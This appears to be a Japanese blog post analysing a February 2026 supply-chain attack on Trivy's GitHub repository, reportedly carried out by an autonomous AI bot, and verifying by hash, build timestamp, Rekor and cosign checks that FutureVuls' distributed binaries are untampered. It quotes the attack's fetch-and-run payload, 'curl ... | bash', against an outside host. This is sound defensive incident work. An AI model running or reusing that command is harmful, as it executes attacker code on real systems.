2026年2月21日〜28日にかけて、OSS 脆弱性スキャナ Trivy の GitHub リポジトリが乗っ取られるサプライチェーン攻撃が発生した。
FutureVuls は Trivy をスキャンエンジンとして利用しており、ちょうど攻撃期間中の 2/24 にリリース作業を行っていた。そこで、配布中のバイナリが改ざんされていないかを検証し、今回の攻撃による改ざんを受けていないと判断した。
注意:本事件に関する情報は現在も更新が続いている。攻撃の詳細なタイムラインなど未公開の部分もあるため、本記事の内容に加えて Trivy 公式のインシデント報告 や StepSecurity の分析記事 など一次情報の最新状況もあわせて確認されたい。
2/21〜2/28 にかけて、hackerbot-claw と名乗る AI 自律型ボット(Claude Opus 4.5 搭載)が GitHub Actions ワークフローの脆弱性を突いた攻撃キャンペーンを展開した。標的は Microsoft、DataDog、CNCF、awesome-go(GitHub Star 140k 超)など計 6 リポジトリで、5 つで任意コード実行に成功している(StepSecurity の分析)。すべての攻撃で共通のペイロード curl -sSfL hackmoltrepeat.com/molt | bash が使われた。
Trivy に対しては、hackerbot-claw が PR #10254 を開き、pull_request_target トリガの「API Diff Check」ワークフローを悪用して PAT を窃取した。2/28 03:28 UTC のワークフロー実行から 19 分後(03:47 UTC)、窃取した PAT で commit d267cc4 を直接プッシュし、以下を実行した。他の 5 件が CI ランナー内でのコード実行にとどまったのに対し、Trivy ではリポジトリ自体の乗っ取りに至っている。
aquasecurity/private-trivy へのリネーム、空リポジトリへの差し替えAqua Security は脆弱なワークフローを PR #10259 で削除し、悪意ある VSCode 拡張の除去・トークン無効化・リポジトリの公開復旧を行った。3/1 に 公式インシデント報告が公開され、コンテナイメージやパッケージマネージャ経由のインストールには影響がないと表明されている。Hotfix として v0.69.2 が公開済みである。v0.27.0〜v0.69.1 の Releases は 3/2 時点で未復旧である。
こちらの注意喚起記事では、GitHub Releases 経由のインストール方法(install script・Trivy Action・直接ダウンロード等)がすべて 404 エラーとなった状況が記録されている。
FutureVuls での Trivy の用途は次のとおり。
installer.vuls.biz のスクリプトを用いてコンテナイメージやアプリケーション依存ライブラリをスキャンし、結果を FutureVuls にアップロードするいずれも 2/24 のリリース(リリースノートにも Trivy v0.69.1 がスキャナバージョンとして記載)時に、Trivy v0.69.1 を GitHub Releases から直接取得していた。どちらの用途も取得元は同一であるため、以降の検証結果は双方に適用される。なお、Aqua Security の公式見解ではコンテナイメージやパッケージマネージャ経由のユーザーには影響がないとされているが、FutureVuls は GitHub Releases からの直接取得であり、取得日(2/24)が攻撃期間(2/21〜2/28)にかかっているため、独自にバイナリの改ざん有無を検証する必要があった。取得したバイナリは S3 に配置し、installer.vuls.biz 経由でユーザーへ配布している。
3 つの観点から検証した。
バイナリハッシュの比較
S3 上のバイナリと、GHCR(GitHub Container Registry)の公式イメージ内バイナリの SHA256 を比較した。GHCR は GitHub Releases とは独立した配布チャネルであり、公式インシデント報告でも影響は報告されていないため、正規バイナリの比較対象とした。
ビルドタイムスタンプの確認
GHCR の trivy:0.69.1 イメージの Created を docker inspect で確認し、攻撃開始前のビルドかどうかを見た。
Sigstore 署名・透明性ログの検証
Rekor(透明性ログ)でイメージダイジェストを検索して攻撃前から記録があるかを確認し、cosign で GHCR イメージの署名が Aqua Security の正規ワークフローによるものかを検証した。
S3 上の FutureVuls 配布バイナリと、GHCR 公式イメージから抽出したバイナリの SHA256 を比較した。
| アーキ テクチャ |
installer.vuls.biz(S3) | GHCR イメージ内 | 判定 |
|---|---|---|---|
| x86_64 (amd64) | 0e5a8eb70c4934a6b3c37f9d18b9fb94182b5da34bee8e57e25c1a9a8dda7251 |
0e5a8eb70c4934a6b3c37f9d18b9fb94182b5da34bee8e57e25c1a9a8dda7251 |
✅ 完全一致 |
| aarch64 (arm64) | cf8e44a859f0d6f8a119396ddd1237e9de008ebdf3a27cfb8a0483dc12acc69f |
cf8e44a859f0d6f8a119396ddd1237e9de008ebdf3a27cfb8a0483dc12acc69f |
✅ 完全一致 |
両アーキテクチャとも SHA256 が完全一致した。S3 上のバイナリは GHCR イメージ内のバイナリと同一である。
| アーキテクチャ | Image Created | 攻撃開始日との差 |
|---|---|---|
| amd64 | 2026-02-05 13:08:31 UTC | 16日前 |
| arm64 | 2026-02-05 13:08:33 UTC | 16日前 |
どちらも 2/5 ビルドであり、攻撃開始日(2/21)の 16 日前にあたる。
Sigstore Rekor は、ソフトウェアの署名イベントを記録する公開の透明性ログサービスである。以下の性質を持つ。
integratedTime(書き込み時刻)が付与される:この時刻は Rekor サーバが付与するため、署名者が偽装できないつまり「攻撃前からこのダイジェストの署名が存在していた」ことを第三者が検証可能な証拠として使える。
amd64 の検索
28 件のエントリがヒットした。最古のエントリの integratedTime は 2026-02-05(攻撃開始の 16 日前)で、以降ほぼ毎日記録がある。攻撃前から同一ダイジェストのイメージが Rekor に記録されており、途中で差し替えられていないことが確認できる。
arm64 の検索
arm64 の Platform Manifest 単体では、攻撃後(2026-02-23)のエントリ 1 件のみがヒットした。Rekor 単体では攻撃前の存在証明ができないが、次の cosign 検証で Index Manifest(amd64・arm64 を含むマルチアーチ全体のダイジェスト)に対する署名が確認でき、arm64 もその署名でカバーされている。
cosign は Sigstore プロジェクトのコンテナイメージ署名・検証ツールである。cosign verify は以下を一括で検証する。
さらに --certificate-identity-regexp と --certificate-oidc-issuer オプションにより、「署名が特定の GitHub リポジトリの GitHub Actions ワークフローから発行されたものか」まで絞り込める。
検証に成功し、2 つの署名が確認された。いずれも docker-manifest-digest が Index Manifest(sha256:1c78ed1ef824ab8bb05b04359d186e4c1229d0b3e67005faacb54a7d71974f73)を指しており、amd64・arm64 を含むマルチアーチ全体をカバーしている。検証成功は、上記オプションで指定した条件(署名証明書の発行元が https://github.com/aquasecurity/trivy/ の GitHub Actions ワークフローであること)を満たしていることを意味する。
上記の検証結果を整理すると、以下の信頼の連鎖が構成される。cosign で Index Manifest の署名を検証し、その Index Manifest が各アーキテクチャの Platform Manifest を包含し、各 Platform Manifest 内のバイナリが FutureVuls の配布バイナリと一致する、という連鎖により、FutureVuls 配布バイナリの正当性が Aqua Security の署名まで遡って確認できる。
FutureVuls が配布中の Trivy v0.69.1(amd64 / arm64)は、以下の検証結果から、今回の攻撃による改ざんを受けていないと判断した。